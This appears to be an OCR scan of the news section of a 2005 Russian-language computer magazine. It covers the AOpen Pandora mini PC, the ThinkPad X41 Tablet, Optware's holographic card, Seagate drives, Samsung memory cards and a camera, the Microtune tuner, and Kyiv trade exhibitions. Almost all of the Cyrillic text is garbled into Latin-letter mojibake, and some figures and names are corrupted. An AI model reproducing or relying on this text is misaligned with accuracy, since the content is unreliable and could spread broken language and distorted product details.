TOFAQ KOK Y HACTONbHLIX CUCTEM 30 3TOT
X€ NEPUOA CHUKEHNE LEH COCTABMITO TOMb-
ko 4% ($696 npotue $728). Hakowrel, 8
CLUA ocHOWEHHOCTL cucTEMBI HTERDE-
com Wi-Fi npeepowaercs us pockouim s
HEOBXOAMMOCTb, ¥ 306Ch HOYTOYKM BON-
HE COOTBETCTBYIOT 3Tum 3anpocam. Ecnu
B MPOLUAOM FOAY MORENM, HE OCHALLEH-
Hele Wi-Fi, coctasnsnn 20% ot oBwero
KONIMYECTBA, TO TEMEPbL MX AONA COKPATH-
nace 0o MeHee yem 5%.

YCTORYMBLIE TEHAEHLMM POCTA NPOAAX
HOYTOYKOB MPMBENU K NEPECMOTPY MpO-
rHosos Ha 2005 r. Tak, aHanUTUKK K3
J.P. Morgan nepecmotpeny oxuaaemblit
nokasarens pocra obvema npoaax PC
Bcex pasHosugrocten Ha 2005 r., Teneps
310 10.1% Bmecto npexHux 8.8%. Moxo-
)ui nporHos u y Garfner — auanuTukm
3TON KOMMNOHMU NPEABAPHTENLHO OLEHM-
nm pocT peivka PC 8 2005 r. va 10.2%,
yto coctasut Bonee vem 202 man. npo-
AGHHBIX CUCTEM.

Merounmk: 3DNews

Bom ov, swux Nangopnt?
[Mo3auUMCTBOBAB AM3ARHEPCKYIO MAEID Y
Komnanun Apple, a Habop cucTemMHo% no-
TMKKW 1 MUMKPOMPOUECCOP Yy Komnnekta In-

tel Centrino, Taisaneckas komnarms AOpen
aHoHeuposana Ha Computex 2005 MNK-ky-
6uk noa umernem «MNawgopa» (Pandoral).

Brewrmn sun «Mangopsly npaktuye-
CKM HEOTAWMYWUM OT HAWEQWEro OTKAWK B
CEePALOX NONL30BATENEH KOMNAKTHOro Mac
mini komnannn Apple. Ho spaa nn Apple
6ynet npecnenosats AOpen 3a cTons 98-
HOE MOAPUXAHHE.

He tonsko srewHun eua «[langopei» Ho-
nomuHaet Ham o6 Apple Mac mini. Dt
ABA KOMMLIOTEPA NS PA3HLIX NMPOrPOMM-
HbIX NAATHOPM CXOAHBI KK MO TEXHUHECKMM
NOPaMETPaMm, Tak 1 No uerossim, Oxunpae-
masa ctommocts mini PC AOpen, B 30BucK-
MOCTH OT koHdHUrypauum, Byner nexars B
npenenax $499-5699. Mcnonbayemsiv kom-
nanven AOpen Habop MOBUNEHON CHCTEM-
won noruku Intel I915GM auktyet rpadu-
yeckne BoamoxHocTn mini PC — 310 uHrer-
puposanHoe rpaduyeckoe aapo GMA 900
CO BCEMM BLITEKQIOWMMHI M3 3TOTO NOCNes-
cTBuAmmK: KOMDOPTHAA PABOTA B OGHCHBIX
nporpammax 1 3D-urpox He nepson cee-
xectn. [Nockonbky «[argopa» He No3uumo-
HUPYETCH KAK MIPOBAS CUCTEMA, O TOMLKO
KK MONOLLYMSALLIA MYNIbTUMERWAHBIA UEHTP,
rpadpukn GMA 200 en 6ynet gocTaTouHo.

Mukponpoueccop Pentium M B mini
PC 6ynet umetsb TakTosyio Yactory 1.3 Ty
wim 1.6 [Tu. Ontudeckuin npusog cnoTo-
BOW 30rpy3kn Toxe ByaeT MeHAThCs B 3a-
BUCUMOCTH OT BBIBPAHHOM KOHGUIYpaLK:
OT APOCTOro KOMBO-NPUBOAA A0 NULLYLLE-
ro DVD. OnumoHansHo BO3MOXHbI Hec-
npoBOAHbIE ceTeBble pacwhpenns: Wi-Fi
mini-PCl 802.11 a/b/g v kapta Bluetooth.
[MopTel MO YMONYAHMIO MPEACTABNEHD) ABY-
ma USB 2.0, ognum Ethernet u ogrum
IEEE 1394 (FireWire). Buneo sbixoms! Bbi-
NONHEHSLI, Kk pasbemsl DVI (nepexoaHmk
Ha D-Sub) n S-Video. Notpebnaemas mowwu-
Hocte mini PC — we 6onee 85 Br.

Wctourmk: O-Lentp

finantwem, oR xe noymByx

Kutaiickas komnanws Lenovo, kynwe-
Wos B Hoyarne mas BW3Hec no BbINyCky
NEPCOHANBHBIX KOMNLIOTEPOB Y GUpMbI
IBM, npeactasvna nepseil HOBLIA HOYT-
6yk nog mapko# ThinkPad — knasnaryp-
HbIl nnaHweTHuk ThinkPad X41 Tablet
{X417). Hosurka 6eina paspaborara ewe
CMELMANUCTAMW ANOHCKOTO NOAPO3AEne-
Hua IBM, n npencraenser cobon tpamc-

GOPMUPYEMBIA MIOHLLIETHLIA KOMMbIOTED
CO BCTPOEHHOW NONHOPA3SMEPHOW KNABUQ-
Typon. bnaroaaps Takon koHCTPyKUMK
ThinkPad X41T moxer ucnonb3oBatbes w1
KOK OBbiuHbIA HOYTOYK, 1 KOK MAQHLIET C
PYKOMACHLIM BBOAOM AGHHbIX.




Mo TEXHUYECKMM XAPAKTEPHCTUKOM HO-
BuHka nostopsaer Hoyt6yk ThinkPad X41:
KOMMBIOTEP NOCTPOEH HA OCHOBE HaBopa
cuctemHon norvkn Intel 915GM co serpo-
eHHbiM rpaduyeckum yckoputenem Intel
GMA 900, ocHauwaeTcs mobunbHeIM NPO-
ueccopom Pentium M ¢ Huskum unu ceepx-
HUIKMM IHEProNOTPeBneHuem 1 onepaTvs-
Hoi namateio DDR2 PC4200 o6vemom ao
1.5 T6. Ba3osas KOHOUIYPALWS NOAHOCTEIO
COOTBETCTBYET TREHOBAHMAM K MOBUIBHOM
texnonoruu Intel Centrino v Buirnaaur cne-
ayowmm obpasom: npoueccop Pentium
M 758 ¢ Huskum 3HepronotpebneHnem
(raktosas yacrora — 1.5 [Ty}, ancnnen ¢
paspewenrem 1024x768 Touek, onepa-
TMBHAs NamsaTs obsemom 512 M6, Butye-
crep Ha 40 6, sBcTpoeHHbIM TMraBuTHbIN
ceTeBol KOHTponnep, moaem 56K V.92 u
kOHTpONnep 6eCcnPOBOAHBIX NOKANbHBIX Ce-
ten Intel PRO/Wireless 2200BG.

C npuoBperaemont otaensHo Hatape-
€1 NOBLILLEHHOM EMKOCTH HOYTBYK Cnoco-
6eH asToHOMHO paboTath B TeueHue 6.3
4aca, a BMeCTe C BHewHen batapeeit no-
shilueHHOM emkocTu (Extended Life Battery) —
B TeverHue 8.5 vaca. TonwmHa komneloTe-
pa cocraenser 3 cm, Bec — okono 1.6 «kr.
ThinkPad X4 1T noctynut B npoaaxy no ue-
He ot 1899 no 2599 nonnapos CLUA.

Uctounnk: Komneronedta

[onozpauyeckue 2u2afaiimt

Kopnopauns Optware nnaHupyer yxe
8 koHue 2006 roaa BeinycTWTE ronorpa-
duveckui Hakonutens — Hologrophic Ver-
satile Card (HVC) emkocteio 30 6. Kap-
Ta Byaer HeCcnpPeueaeHTHO AeWeBoN —
npubausutensro 1 aonnap CLUA.

KoHeuHo xe, koMnaHus HaMepeHa npo-
M3BOAWTL M YCTPORCTBA ANA PaboTsl C 3Tn-
MU HOCHTENAMM, OOHOKO Wx LeHa Gonbwe

OTNYrHET NOKYNQATENs, YEM MPUBAEYET, OCO-
HEHHO NPU CPABHEHWM C LEHOW HA HOCH-
Tenb. Tak, YCTPOWCTBO ANA CHUTHIBAHWSA C
HVYC 6yner umets OpueHTUPOBOYHYIO LEHY
nopsaka 1000 ponnapos. Buinyck yctpoiicTs
ans paboTsl C ronorpadUIECKUMU HOCUTE-
NAMM NNAHUPYETCA HAYATL CPA3y Nocne co-
OTBETCTBYIOLLEN CEPTURUKALMM TEXHONOTMM
M YCTQHOBNEHWA ONPEAENEHHbIX CTAHAAP-
TOB, YTO AOMKHO NPOM30#HTH B aekabpe 2006
rona, — yceunuamn Optware coBMeCTHO €
Ecmo Infernational (opranmsaums, 3aHMmalo-
LOACA MPOABUXEHNEM UHDOPMULMOHHBIX W
KOMMYHUKQLMOHHBIX TEXHONOMMH).

Ha npveeperHom $oTo nokasaHsl 3kc-
NEPUMEHTANBHBIE MOLENH KAK HOCHTENS, TAK
v npueoaa Ans paboTe ¢ Hum. Pasmeps ro-
NOTPAGUIECKON KAPTH MPUMEPHO COOTBET-
CTBYIOT OBBLIMHON KpEaUTKE, O CaM MPHBOA
PAasmMepom € 0BbIuHbIA BuHuecTep. [pu aTom
pa3Mep KapTouKkK BEIGPAH MWL AN yaoH-
CTBA, KOMNAHKMA BNOMHE MOXET CAENaTh pas-
mep HocuTens pasHeim kapTte SD-dopmara.

Hanomkum, 4TO KONNMHEQPHAS rono-
rpaduyeckas TEXHONOTUS, 3ANATEHTOBAH-
Has Optware, ucnone3ayeT Ana 3anucy y
YTEHWSA BCEIO OfMH (COBMELLEHHBIM) Ny4 Na-
3epQa, B KOTOPOM COOCHO PACMONOXEHL!
MHOOPMOUMOHHBIA M KOHTPOMLHBIA Ay4M.

B HVC aaHHbie nuwyrcs kak B8 npo-
AOMNBHOM, TAK M B MOMNEPEYHOM HAMPOB-
NEHUAX, YNTAIOLLAN CUCTEMQA ABUTTET U HO-
CUTESb, U COMY OMTUYECKYKD CHUTHIBOKD-
LLYIO TOMNOBKY B FOPU3OHTANBHOM HANPAB-
NeHuK ana Toro, YToBs CYUTaTL COOTBET-
CTBYIOLLYKO FONOrPamMy. 1.€. KOPTOYKa B
NPUBOLE MOXET ABUrATLCA BNEBO-BNPABO,
@ CHMTHIBAKOLWAS FONOBKA NEPEMeLLaTses
npu 3TOM BNEPen-Ha3a4.

Uctounnk: iXBT

Bukmbl W... susmuky?

Komnanws Seagate Technology npea-
CTABMAG HOBLIE XECTKHE OMCKW, MPEenHa-
3HQUEHHbIE ANS MCMONL3OBAHMUS B HOCTOMb-
HbIX KOMMBIOTEPAX, BLITOBOM TEXHUKE W NOpP-
TATUBHBIX YCTPOUCTBAX, TAKMX KOK KAOPMOH-
Hele nnediepsl ¥ MOBUNbHLIE TENEdOHBI.

Mpexne Bcero, cnepyer BbACNUTL BUH-
vectep ST1 ¢ aMametpom naactubsl 17
EmkocTs 3TOro Hakonutens cocraenser
8 I6, uero, no yrBepxaeH1AM NPOU3BOAK-
TENA, XBATUT ANA XPAHEHUA HECKONbKKX Tbi-
CAY MY3bIKANbHBIX KOMAO3WUMIA C BUTpen-
tom 128 Kbut/c. Xectkun amck otnmua-
€TCA HW3KNM SHEpronoTpebneHnem u He-
6onbWumM BpemeHem NOAroTOBKK kK pabo-
Te, COCTaBnAUMM 1.2 cekyHasl.

[lna cextopa GHITOBON 3NEKTPOHUKK
komnaHus Seagate npeanaraer BuHYecTe-
pel cepun DB35 u EE25. Xectkune amnckn
nmunenkn DB35 umerot emkocts no 500 16
¥ PACCYMTAHBI HO YCTAHOBKY, MPEXAE BCE-
ro, 8 UMPPOBLIE BUASOPEKOPAEPL, MELAMA-
UEHTPLI M AOMaLLHKE cepsepsl. Hakonu-
tenu EE25, B cBOIO OUEpenp, oTnuuaoTCs
NOBbILUEHHOM YCTORYMBOCTLIO Kk GAKTOPAM
okpyxalowen cpeas. Bunvectepsl, 8 ya-
CTHOCTH, cnocobHsl paboTars Npu Temne-
partypax ot -30 no +85°C, uro nossons-
€T YCTaHOBMKMBATL MX B OBTOMO6Mﬂbele
MOTHUTONbLI U CUCTEMBI HOBUTALIMA.

MopenbHbii pan XecTknx AUCKoB Ang Ha-
CTONbHLIX KOMNBLIOTEPOB noNONHWUNCA HOKO-
nutenem Barracuda 7200.9 ¢ uHtepdein-
com Serial ATA |l. Bunuectep cHabxen
16 M6 xawwa, umeet emkocts 500 6 1 cko-
pocts spawenus wnuHaens 7200 of/muH.
Mopnepxusaertcs TexHonorna Native Com-
mand Queuing (NCQ), xoTopas nossons-
eT 06pabaTeiBaTL CPA3Y HECKONBLKO 3aMPO-
COB OT MPOLUECCOPA W ONPERENsTs OYEPEa-
HOCTb MX BbIMOTHEHWS TAKHUM O6pO3OM, Y@
66l NpK 3TOM JOCTUrANACh MAKCUMOMBHAS
npomssopnTensHOCTs. Hakorew, komnarus
Seagate NpeacTaBuna BHEWHWIA XECTKMI
anck emkocteio 500 6 ¢ unTepdencom
FireWire 800 (IEEE 1394b), a Takxe mu-
HUaTIOPHLIR Hakonutens Portable External
Hard Drive o6vemom 8 120 (6.

MocTaskm xectkux anckos ST1 yxe Ha-
yonuce. Mogenn DB35 n EE25 noctynar
B NPOAAXY NETOM U OCEHBIO HBIHELLIHENO
ronq, CooTBeTCTBEHHO. BuHuectepsl Sea-
gate Barracuda 7200.9 v Seagate 120GB
Portable External Hard Drive moxHo 6y-
AeT NprobpecTn B TPETLEM KBAPTANE.

Mcrounuk: Komnsroneqta
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mUEmDhIE KpoiwKy
Komnarua Samsung Electronics o6ua-
BWUNA O HAYQNE MACCOBOMO MPOU3BOACTBA
ceepxbuicTpeix GR3W-KAPT namatu dop-
matoe MMC plus 1 MMC mobile.

Mo yteepxaeHusm pa3paboTynkos,
npepcTaBNeHHbIe HOCUTENU O6eCne‘4MBO'
10T BO3MOXHOCTb NEPEAaYm nHPOPMALIK
€O ckopocThio A0 52 MB/c. Dn3w-kapTe
MMC plus paboTtaloT npu HonpakeHuu
nutanma 3.3 B u paccumtarsl Ho mcnons-
30BAHME, B NEPBYIO OYEPENb, B UMDDOBLIX
doTOKaMEPaxX BLICOKOTO paspellerys. Ho-
cuTenn AOCTYNHb B MOJlMd)MKOLLMﬂX EMKO-
cToio 64 M6, 128 M6, 256 M6 1 512 M6.
Paamepsl kapT namatn MMC plus coctas-
nstoT 32x24x1.4 mm.

Kaptsl popmara MMC mobile & gsa
pasa merswe Hocutenen MMC plus n
NpeaHasHaYeHsl 418 UCNONL3OBAHNS B MO~
BunbHbix Tenedornax v cmaptdoHax. Ha-
npsxerue nurarns MMC mobile moxert
coctaensats 3.3 B unmn 1.8 B, Hocutenu noc-
TynHb B MOoanduKaLmax obbemom B 64 ME,
128 M6, 256 M6 u 512 M6. lMNoctasku
MMC mobile ponxHbl HauaTecs B cnepyto-
Lwem Mecsaue. ;

Momumo kapt namatn MMC plus n
MMC mobile komnanna Samsung npeg-
naraet kpoweuHsie dnsw-kapts MMC mi-
Cro, pasmepsl KOTOPbIXx pasHbl 14x12x
1.1 mm. [larHble HoCHMTENW TAKXE NPeaHa-
3HQYEHBI 418 NOPTATUBHbLIX YCTPOWCTE U Bbl-
NYCKAIOTCA B BAPHOHTAX EMKOCTLIO 32 M6,
64 M6, 128 M6 n 256 MB. lMpn 3tom
MMC micro obvemom B 256 M6 Bmewo-
et no 120 dotorpadmit ¢ paspelueHmnem
NATL MUNAMOHOB Nukcened un o 100 mu-
HyT Buaeo ¢ paspewennem QVGA
(320x240 Touex).

Uctounnk: KomnsroneHta

TH-miHep AR KapMaunal mexuKL

Komnarua Microtune, kotopas npea-
NOXWNA NEePBLIN OAHOKPUCTANBHLIM TENe-
BU3MOHHLIN TIOHEP ewe B 1999 roay, npo-
AOMKAET TRAAULMIO TEXHONOMMYECKOTO HO-
BaTopctea. Hosoe cemelcTao mHOroama-
NO30HHLIX TOHepos Mobile MicroTuner ¢
MOnbiM NOTREBNEeHUEM SHEPTMKM NPERHO-
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3HQYEHO ANs MOBUNbHBIX YCTPORCTB, BKMKO-
4as COTOBble TenedOoHs!, YHUBEPCAbHLIE
MPOUrPLIBATENN U KAPMUHHBIE KOMIBKITE-
pbi. [lepBbii NpeacTaBuTEns CEpUM, MUK-
pocxema MT2260, no sasenenuio paspa-
BoTunka, obecneynBaeT BLICOKOKAYECT-
BEHHOE M30BPAXEHNE U 3BYK.

QOuesnaro, 4TO NO Mepe pocTa nony-
napHocTH mobunbHoro TenesuaeHnns no-
TPeBHOCTE B COOTBETCTBYIOWIEN INEMEHT-
Hon Bose sBospactaer. Ha pactywmn cnpoc
CNewWwaT OTKAVKHYTECA PA3PABOTYMKK MHK-
POCXEM, 30UHTEPECOBAHHLIE B TOM, YTO-
Bbl M3rOTOBUTENK FTOTOBOW NPOAYKLMM Bbi-
6panu ux 44N AAS CBOMX NPOEKTOB.

Bnaropops nopaepxke Asyx aManaso-
Hos: UHF (470-890 My v L-Band
(1670-1675 Mlu), mukpocxema noxoant
AN NPUMEHEHWS B M3Oennax, pacCHuTaH~
HbIX HO EBPONENCKMI N CEBEPOOMEPHKAH-
ckui poiHok. Tionep MT2260 cootsercr-
BYET CTAHAAPTY MOBWUNLHOTO BEWaHMA
DVB-H; conepxut Bce paaMoyacToTHsle
KOMMNOHEHTLI, BKNKDYASA MOTIOLIJ\/MHLLLHﬁ yn-
MUTENL N CUMMETPUPYIOWEE YCTPOWCTBO,
B OAHOM kopnyce. Takum 06pa3om, 3Ha-
YKTENLHO ynpowaertcs paspaboTka roTo-
BbIX M3ENWMA M MHTErPALMA TIOHEPA B au-
3AMH MOBUNLHLIX YCTPOHCTS.

Paameps 40-suiBogHoro QFN-kopny-
CO HOBUHKM — 6X6 MM, O HONPAXEHWE M-
TaHUA MmUKpoCxembl — 2.7 B, yto Takxe
YKO3bIBAET HA ONTMMMU3ALMIO WM3AENWS K
TPE60BAHNAM MOBUMbHBIX MPUMEHEHUN.
TioHep notpebnaet scero nuwe 20 mBT B
paboyem pexume, CHUKAA 3Ty BEAMYMHY
a0 9 mMBT B pexume nMoHuxeHHOro aHep-
ronotpebnenns n 250 mkBt B pexume
«CHO». YunTeiBas Huskoe notpebnerue
3HEPrMK, Pa3pabOTYHK OLEHNBAET BPEMA
POCMOTPA Tenenepeaay Ha 2- wnu 4-
AIOMMOBOM AMCANEE C UCMIONL3OBAHWEM
6arapeun emkoctsio 800 unan 1300 mAy,
coorsercreerHo, 8 10 yacos.

WMcTounmk: iXBT

(Domokamepa g9 mpog

Komnanwus Samsung oduumansHo o6b-
ABUNG O BbINycke kamepsl Digimax Pro 815.
HOBMHKO nMmeeT 8'MerOﬂHKCeﬂbelﬁ EEH:=
COP 1 OBLEKTMB C NEPEMEHHBIM HOKYCHBIM
pacctosHuem. Kamepa ocHawena XK-
ancnneem Gonblioro pasmepa — 3.5 piok-
MO NO AMArOHGMW.

Mogent Pro815 obecneunsaer pysHoe
U3MEHEHWE BCEeX HOCTPOEK, OCHALLEHA On-
ko Schneider-Kreuznach, moxer crnmars
B0 2.5 kappos/c B pexvme HenpepsBHOM
cbemkn. PokycHoe paccTosHue obbekTHea
Pro815 namerserca B npepenax 28-420 mm
(aksusanenT ans 35-mm nnerku). ns ymeHs-
LWEeHMS XPOMATHHECKON abeppalii B 06L-

MOW KOMIMbIOTEP

- N

EKTMBE MCNONb3OBAHO YETLIDE MWH3bI M3 CTEK-
na ¢ HmM3Kkon aucnepcuei. Kpome toro, ase
achepuieckre NuH3b KOPPEKTUPYIOT Che-
pudeckylo abeppauurio BO BCem aManaso-
HE GOKYCHBIX PACCTOSHMHA.

B ocroee kamepul matpuua CCD-dop-
mata 2/3". MokcumanbHas 4yBCTBUTENb-
HOCTb maTpuupl cootserctayet 1ISO 800,
4TO NO3BONAET YMEHBLUMTL BHIAEPXKY W 30
CHET 3TOTO CHM3NTL IGDEKT APOXAHMS, 3a-
METHBIM MPKU TENECKOMMYECKOM MONOXE-
Hum obvextua. XK-gucnnen seinonHer no
texHonornn TMR (Transmissive with Micro
Reflective), obecnedusatowein nossiwer-
HYIO APKOCTB, 4TO 0BNEryaeT UCnonbL3osa-
HUE KOMEpH HO OTKPHITOM Bo3gyxe. Lns
MUTAHKA YCTPORCTBA UCTIONL3YETCH NUTHE-
BO-WOHHOSA OKKyMynsTOpHas Hatapes em-
koctbio 1900 mAY, Hanpsaxennem 7.4 B.
Mo 3a9BNEHKUIO NPOM3BOAKTENS, ORHOTO
30PAAA AOCTATOMHO ANS TOrO, 4TO6L! CHATL
npumepHo 500 kaapos. Ons noaknioue-
HUS K KOMMBIOTEPY MCMONb3yeTcs MHTep-
denc USB 2.0.

B xamepe peanv3oBaHa ¢yHKUMA BM-
naeosanucn (paspewenne VGA} co cre-
peodOHNYECKNM 3BYKOBBIM COMPOBOXAE-
HUEM. ANNApaT OCHOWEH BCMbILKOA n
MyNbTOM AMCTAHUMOHHOTO YMPABIEHMS.
[TpenycMOTPEeHO MOOKMOYEHUE BHEWHEN
BCMbiLLKK (mogens SEF-42A).

Ha4ano nocTtasok HOBHUHKWM HOMEYEHO
na asryct. Oxupoercs, uto kamepa 6y-
aet crouts okono 1000 nonnapos.

WcTouruk: iXBT

Jmo 9, noumansok Mevkun

SNEKTPOHHAA HOBMHKA NOJ HA3BAHM-
em DV8 Voice Email Recorder nopknioua-
etcs k [1K 1 nossonseT HOAUKTOBATL INEK-
TPOHHOE MUCEMO. M3lomMUHKG B TOM, 4TO
NUCbMO OTMPOBASETCA B BMAE 38YKOBOTO
coobuieHus, T.e. HM O KOKOM PACNO3HA-

Yoice(2mail.

& Voics Emait System!

BAHMU PEYM W ee NEepesone B TEKCT TyT
HET HM CNOBA — B 0OBwem, 37O He uyTo
nHoE, KaK Undposon auktodoH. Yaobcr-
BO 30KNKOYAETCA B TOM, 4TO HOAMKTOBATH
NUCbMO MOXHO OTAEMLHO OT KOMMbIOTE-
pa, a 3aTeM €ro 30rpysnTe M OTNPABHTL.
Yctponcteo mmeet 16 M6 cobcrteeqHon
namsti u pasvem USB. Crowmocts niobo-
nLITHOM HoeuHKM — S110.
Wcrourmk: 3DNews

Tol A2AbUEM ROKAXW!

B HauansHo# wkone npn Konymbuickom
YHUBEPCHUTETE YHEHMKU YXKE MOTYT HUKOTAQ
HE YCIbLILATE AYLIEPA3AMPaOLLETD CKPUNA

mena no knaccHon pocke. Jocku craporo
06pa3sua sameHsT Bonblwmne CEHCOPHbIE

KOMNBIOTEPHU3OBAHHbBIE 3KPAHL.

[ns paboTbl € TAKOW AOCKOH AOCTATOY-
HO BOAMTL MO HEW Nanbuem, KakMm-nnHo
YKA3ATENEM MNIM KYPCOPOM MOAKKOHEH-

HOW mblkmn. Ha ypoke marematuku ans
AEMOHCTPALUMM CBOWX 3CKM30B pPELUEHMIA
AETH NPOCTO Npeasasnany ¢annsl, KOTo-
poie oToBpaxanucs Ha 3kpaHe. Tak xe
NErko MOXHO NPOAEMOHCTPMPOBATE KNAC-
cy csoi aokyment Word nnu npesenta-
umio PowerPoint. MNpowussoastca «ymHbie»
BOCKM Takumm dupmamu, kak Numonics,
PolyVision v Promethean.

Wcrounuk: 3DNews

Agpeca MCTOYHUKOS:

3DNews: hitp:/ /www.3dnews.ru

KomnetoneHTa: http:/ /www.compulenta.ru

iXBT: http:/ /www.ixbt.com

@-LenTp: hitp:/ / www.fcenter.ru

PEOAKLIMOHHBLIE HOBOCTU

Yepega Bhicmasok

7 viioHs komnanus «Espounpexe» npo-
BENA NPECCc-KOHPEPEHLMIO, MOCBALLEHHYIO
WTOrOM BECEHHETO BLICTABOYHOTO CE30HA
W nnaHam Ha ocerb-2005.

30 YeTbipe MECALG KOMNOHMA NPOBE-
na 14 BLICTABOK, B TOM 4MCNE 3aNyCTMNA
TPW HOBbIX MPOEKTG — B HOCTHOCTH, MeX-
AyHOPORHYK BbICTABKY «M306perterns n
WHHOBALMKY, OPraHU3OBAHHYIO COBMECT-
HO € [OCAENaPTAMEHTOM MHTENNEKTY -
HOW cobcTBeHHOCTM MuHncTepeTea obpa-
30BAHMA M HAYKU YKDOWHBI.

B pamkax Hegenn undpossix TexHono-
rui Bo BTOpPOH pas coctosncs Creesn [T-au-
PEKTOPOB YKPOMHB!, HO KOTOPLIA CHbEXANNCH
npeactasutenu 154 oteyectseHHbIx Npea-
NPHATHA PO3NUYHEIX OTPACNENR 3KOHOMUKM.




3oseplmna secerHmit ceson «Espoun-
OEKCa» BTOPAA MEXAYHAPOAHAS BbICTAB-
ka undposoro ¢oTo-, Bugeocbopyaosa-
Hus u mepmartextonorun Kyiv DigiPhoto
Show 2005. OrpomHbliil UHTEPEC K TEme
undbposoro GoTo n Buaeo, obunue mepo-
NPUATUM K ny6nwxoum“1 NOATBEPXAAKOT
OUEHKW IKCNEPTOB MO NOBOAY «LMdPOBO-
ro 6yma» 8 Ykpanse — 8 2005 r. npoaa-
Xu UMPPOBOI POTOTEXHWUKN BEIPGCTYT HA
150% no cpasHEHMIO C NPOWNLIM FOAOM,
a Ao KoHua roaa umdpossie kameps By-
ayT umetsb okono 10% ykpauHues.

OceHblo NOCETUTENEN M YY4ACTHUKOB
BEICTOBOK KOMNAHWW «EBponHaekc» xaeT
PAQ UBMEHEHWH W HOBMHOK, B YOCTHOCTH:

v REX 2005 — BbicTaBKG PEXNOMSI, MOP-
KETUHIOBBIX TEXHOMNOTWH M MOCC-MEANT NO-
nonHmuTca HoBbim paspenom REX Press, 6y-
ayT OpraHn3oBaHe PR-@opym u [leqs BTL.

v IO6unennas pecatas «bE3MME-
KA 2005» 6yner noCBAWEHA KOHLENLMMA
CYMHOTO AOMA» W PELLUEHWAM ANS 3CLWMTEI
UHPOPMaLAK.

v TpaamuLMOHHO OAHOBPEMEHHO NPOW-
[ET YETBEPTAA MEXAYHOPOAHAS BLICTABKA
Hi-Fi, High-End annapatypsl v somawke-
ro knnoteatpa Kyiv Hi-Fi Show 2005, tpe-
Th MEXOYHOPOAHAA BHICTABKA UMDPOBLIX
Texvonorvin «LinbpoMaris:}» n TpeTsa me-
xayHapoaras seictaska Kyiv DigiPhoto
Show 2005.

Kcratn, «UndpoMarial» 8 atom roay
nponger 8 HoBOM dopmare BpPIHA-LWIOY B
coepe IT. [lpa ama sbictaska Byner oTkpbI-
Ta ans BusHec-noceTWTENER, O B BHIXOA-
HLIE €€ CMOTYT MOCETUTE BCE XENamouive.

B sasepluerne ocenrero cesora 10—12
Hosbpa 2005 ropa B BHICTABOYHOM UEH-
Tpe «KuesDkcnollnasa» cocroutcs nep-
BOS MEXAYHOPOAHOA CMELWAanU3npOBaH-
Has seictaeka «Pparuansudr 2005». Te-
MATHKO CRELMANN3MPOBOHHON BLICTABKM
HOBG ans YkpauHel, HO BROPaHa He cny-
yanHo. CeroavHs 8 Haweit ctpare Gonee
200 dparuain3epos OKTUBHO PAIBUBAKOT
CBOM BU3HEC B PA3MUUHBIX OTPACHAX IKO-
HOMMKH (OBLIECTBEHHOE NUTAHKE, TOPTOB-
N9, IPOM3BOACTBO, chepa ycnyr). A komnu-
YECTBO OTEYECTBEHHLIX GPAHYOA3N yXe
npesbiwaeT 2000. Kak nokassiBaer 30py-
HexHbin onsiT, Hanbonee 3bbekTUBHLIM
MHCTDYMEHTOM MOPKETUHIA bpanyanse-
pPOB ABNSETCA CNEUMANU3IMPOBAHHAS Bbi-
craska. MogobHesie BLICTABKM NPOXOAAT BO
MHOTVX KpYNHbIX ropoaax Esponer v CLUA.
B YkpaunHe nepson TQko#A BLICTABKOM CTA-
Het «Pparuaiaunr 2005». Skcnosuuma
BLICTOBKM O3HOKOMWT MOTEHUMANbHBIX
GPOHYOA3M — BNAAENLLUEB M PyKOBOAUTE-
NEN KOMMNOHWA PA3HOTO YPOBHSA, YACTHBIX
NPeanPUHUMATENER, MULYLIMX HOBLIE MyTh
pPa38UTHA BU3HECA, — C MOMHBIM CMEKTPOM

MHGOPMALMK O BOBMOXHOCTAX DA3BUTMA
CBOEro HOBOTO AE€Nd MO CXeMOM paH-
yanaunra. OpHOBPEMEHHO C BLICTABKOM
«DpaHuanzunrs Byaet npoxoanTs BTOPas
cneumanuanpoBaHHas eeictaska «lpouwi
EKCMO», kotopas npeactasut 6aHKOB-
CKME, CTPOXOBbIE M PUHAHCOBHIE YCnyry,
YCNYMM KPEAUTHBIX COKO30B M MEHCHOHHBIX
$oHAos.

MoapobHoCTu cMmOTpWTe HO caiTe
www.euroindex.va.

Cemunap no pecaiknuney xapmpuowel

21 man 8 Kuese, B kondepeHu-3ane
Typkomnnekca «[ponucok» cocToancs co-
BMeCTHBIN cemuHap komnaruin «CUHT» 1
Summit Technologies (CLUA), noceawer-
MBI TEXHUHECKMM OCMEKTAM WCNOMbL30BA-
HWS POCXOaHLIX maTepuanos Summit Tech-
nologies B pecainknuHre nasepHsix Kap-
TPUAXEH, BKIIOYAR OCOBEHHOCTH PECAK-
NUHTFA LBETHLIX KAPTPUAXEWN.

OCHOBHBIM AOKNAAYMKOM HO CeMUHApE
BLICTYMWA TON-MEHEAXED KOMMAHWA Sum-
mit Technologies — Mike Josiah (VP Tech-
nical Services). B nepeoi yactu cemuHa-
pa oH pacckasan ob ocobeHHocTax pas-
PaBOTKM LBETHLIX TOHEPOB, XOPOGKTEPUCTU-
kax, Tpebyowmx 0coboro BHAMAHUA, TEX-
HONOTMM NPOM3BOACTBA HaPabaHOB, 4u-
NoB 1 NEPENPOrPAMMATOPOB ANa Hux. bei-
no otmedero, yto Summit Technologies
BLINYCKOET HO PHIHOK MATEPWUANLI TOMBKO
TOrAQ, KOFAA 3TH MATEPUANE COOTBETCTBY-
0T OPWIMHANBHBIM MO LBETOMEPERAYE 1
06ecneynBaldT Pecypc NevaTm He MeHee
pEeCypca OpUrMHANbLHOro KapTpuaxa. Bro-
pas 4acTte aoknaaa Mike Josiah 6eina no-
CBAWEHA CTAHAAPTAM PECARKMHIO Kap-
Tpumxen ASTM — craHaapTam CpaBHu-
TENBHOTO TECTUPOBAHMA KAYECTBO H306p0‘
XEeHUA, NOAYYEHHOIO HA PA3HbLIX KAPTPHA-
Xax [OBBIMHO — OPUIMHANBLHLIA W anbTep-
HOTUBHBIN).

B npoaonxewnn cemmuHapa rerepans-
Hbitt aupekTop komnanum «CUHT» B. Ka-
MMHCKHA COOBLMA YYACTHUKOM O TOM, K-
KME OERCTBMS MPEANPUHUMAET KOMNAHUS
«CUHT» ans noswbilweHns ka4ecTsa npo-
13BOaMMON Npoaykummn. MHBecTuumm B TEX-
HONOTMK K CTAHAQPTUIALMIO M3MEREHUN,
otmetun B, KamuHckuit, aBnaioTcs ons kom-

Hosocmu
—

NaHWUKM CTPaTernyecki 0BOCHOBAHHBIMMK:
yCnex pecanknmHra Hesosmoxen 6es obec-
NeYeHUs KaYecTBa ycnyr No 30MPAaBke M
